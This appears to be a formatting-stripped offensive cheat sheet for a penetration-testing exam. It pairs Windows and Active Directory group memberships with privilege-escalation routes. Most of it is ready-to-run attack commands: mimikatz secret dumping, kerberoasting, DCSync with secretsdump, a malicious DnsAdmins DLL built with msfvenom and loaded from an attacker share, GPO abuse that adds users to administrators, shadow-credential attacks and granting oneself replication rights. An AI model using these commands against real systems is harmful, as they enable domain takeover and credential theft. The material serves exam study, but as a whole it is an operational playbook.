icacls "C:\path\to\service.exe" | findstr /i "users everyone authenticated".\accesschk.exe /accepteula -uwcqv "Authenticated Users" *.\accesschk.exe /accepteula -uwdq "C:\Program Files"powershell -ep bypass -c ". .\PowerUp.ps1; Get-ModifiableServiceFile; Get-ModifiableService; Get-UnquotedService"BUILTIN\Power Users, Guests, Cryptographic Operators, Replicator [1]exam: none
nothing, on any windows since Vista. Power Users is kept for compatibility and grants nothing unless the box was configured to
# not a finding. Read the rest of the listBUILTIN\Performance Log Users, Performance Monitor Users, Network Configuration Operators [1]exam: rare
performance counters and network settings. There is theory for each — tracing sessions, DNS settings — and nothing quick for any of them. Look at the rest of the list first
# not a quick win. If it is the only thing on the list, the box wants a different route — services, tasks, creds lying aboutdocker-users [1]exam: rare
docker on windows. Whoever can talk to the daemon can run a container with the host's drive mounted, which is the host
docker run -it --rm -v C:\:C:\host mcr.microsoft.com/windows/nanoserver:ltsc2022 cmdtype C:\host\Users\Administrator\Desktop\proof.txtdomain
the domain groups that change something, as whoami /groups shows them with the domain in front
Domain Admins, Enterprise Admins, Administrators on the DC [1]exam: likely
you are done. dcsync for the record, proof on every box, screenshots as you go
impacket-secretsdump "$DOMAIN/$ADMINU:$ADMINP@$DC" -just-dc-ntlmnxc smb $SUBNET -u $ADMINU -p $ADMINP -X "type C:\Users\Administrator\Desktop\proof.txt; hostname; ipconfig"type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigDomain Users, Domain Computers [1]exam: none
every account, every machine. Domain Users is what rid brute, the Pre-Windows 2000 reads and MachineAccountQuota rest on. Domain Computers means you are a machine account — a SYSTEM shell on a joined box — and its hash is a domain credential
# from SYSTEM on a joined box you are COMPUTER$ to the domain. Enumerate and roast as it.\SharpHound.exe -c All.\Rubeus.exe kerberoast /nowrap# its hash, for kali — lsadump::secrets prints $MACHINE.ACC.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" exitDnsAdmins [3]exam: possible
the DNS service on the DC loads a plugin dll named in its registry, and DnsAdmins can set the name. dns.exe runs as SYSTEM. The dll has to be on the DC itself since the late-2021 patch, and the service needs restarting — which DnsAdmins can usually do, and Server Operators always can
an adduser dll is quieter than a shell and survives dns.exe exiting. The cheatsheet's dll hijack card has the source
msfvenom -p windows/x64/exec cmd='net localgroup administrators $USER1 /add' -f dll -o $WORKDIR/www/dns.dllx86_64-w64-mingw32-gcc adduser.c --shared -o $WORKDIR/www/dns.dlla share you can write on the DC, or a UNC path on an unpatched one. The restart is the part that fails when it fails — Server Operators can always do it
copy \\$LHOST\share\dns.dll C:\Windows\Temp\dns.dlldnscmd $DC /config /serverlevelplugindll C:\Windows\Temp\dns.dlldnscmd $DC /config /serverlevelplugindll \\$LHOST\share\dns.dllsc.exe \\$DC stop dns & sc.exe \\$DC start dnsleave the key in place and the DC's DNS breaks at every restart
net group "Domain Admins" /domainevil-winrm -i $DC -u $USER1 -p $PASS1reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /fsc.exe \\$DC stop dns & sc.exe \\$DC start dnsGroup Policy Creator Owners [3]exam: possible
create group policy objects. Creating is not applying — the GPO also has to be linked to an OU, which needs WriteGPLink on the OU, or there is an existing GPO you can edit. Then it is a scheduled task as SYSTEM on every computer the GPO reaches, at the next gpupdate
Get-DomainGPO | select displayname,gpcfilesyspathGet-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'Write|GenericAll' -and $_.SecurityIdentifier -eq (Get-DomainUser $USER1).objectsid }bloodyAD --host $DC -d $DOMAIN -u $USER1 -p $PASS1 get writable --otype GPO.\SharpGPOAbuse.exe --AddComputerTask --TaskName x --Author "$DOMAIN\$ADMINU" --Command cmd.exe --Arguments "/c net localgroup administrators $USER1 /add" --GPOName "Default Domain Policy"python3 pygpoabuse.py "$DOMAIN/$USER1:$PASS1" -gpo-id <gpo guid> -command 'net localgroup administrators $USER1 /add' -dc-ip $IPgpupdate /forceNew-GPO -Name x | New-GPLink -Target "OU=Workstations,DC=$(echo $DOMAIN | sed 's/\./,DC=/g')"# then the task as above, against GPOName x. The edges are on the bloodhound page — WriteGPLink, and GenericWrite on a GPOKey Admins, Enterprise Key Admins [1]exam: rare
write msDS-KeyCredentialLink on every user and computer in the domain. That is shadow credentials against any account, the DC's included — a certificate that logs on as them, without touching their password
certipy shadow auto -u "$USER1@$DOMAIN" -p $PASS1 -account Administrator -dc-ip $IPcertipy shadow auto -u "$USER1@$DOMAIN" -p $PASS1 -account 'DC01$' -dc-ip $IP# auto prints the NT hash. The rest is AddKeyCredentialLink on the bloodhound pageExchange Windows Permissions, Organization Management [1]exam: rare
the Exchange groups hold WriteDacl on the domain object. Grant yourself replication rights and dcsync. Exchange is not on the exam, but the groups turn up on boxes built from real-world images
bloodyAD --host $DC -d $DOMAIN -u $USER1 -p $PASS1 add dcsync $USER1impacket-secretsdump "$DOMAIN/$USER1:$PASS1@$DC" -just-dc-ntlmbloodyAD --host $DC -d $DOMAIN -u $USER1 -p $PASS1 remove dcsync $USER1Protected Users [1]exam: none
not a privilege — a restriction, and the reason pass-the-hash is failing for this account. No NTLM, no RC4, no delegation, four-hour tickets. Use kerberos with the password, or a different account
impacket-getTGT "$DOMAIN/$USER1:$PASS1" -dc-ip $IP && export KRB5CCNAME=$USER1.ccacheimpacket-psexec -k -no-pass "$DOMAIN/$USER1@$DC"Schema Admins [1]exam: rare
change the schema. Add an ACE to the default security descriptor of the user or computer class and every object created afterwards is yours — a backdoor, not a privesc. Out of scope on the exam; here so the lookup does not miss
# if you are in it you are usually in Domain Admins too. Check that firstCert Publishers [1]exam: rare
write to the CA's certificate attributes in AD. In theory a CA certificate of your own in NTAuth, and every logon certificate is forgeable. Slow, rare, and certipy find will have shown an easier template first
certipy find -u "$USER1@$DOMAIN" -p $PASS1 -dc-ip $IP -vulnerable -stdoutPre-Windows 2000 Compatible Access [1]exam: none
read access across the directory for whoever is in it. Authenticated Users by default, Anonymous on an old or mis-set domain — which is why null-session enumeration works at all. Not a finding; an explanation
# if anonymous ldap and rid brute work against the DC, this is why. Carry on enumeratingno matches